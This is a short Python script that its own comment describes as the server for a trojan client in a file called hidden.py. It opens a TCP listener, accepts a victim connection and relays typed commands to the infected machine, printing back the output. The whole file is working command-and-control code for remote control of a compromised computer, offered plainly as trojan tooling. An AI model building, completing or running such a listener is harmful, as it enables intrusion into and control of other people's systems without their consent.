# server.py, listens to the trojan client in hidden.py
# amend ip accordingly, ensure port is open and not blocked by any firewalls
import socket , time

HOST = '192.168.136.129'
PORT = 9090

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((HOST,PORT))

print(f"server started at {HOST}:{PORT} Listening...")
server.listen()

client, address = server.accept()

print("accepted")


while True:
    print(f"connected to {address}")
    cmd_input = input("command: ")
    client.send(cmd_input.encode('utf-8'))
    time.sleep(3) # TODO implement wait for reply before carrying on
    print(client.recv(1024).decode('utf-8'))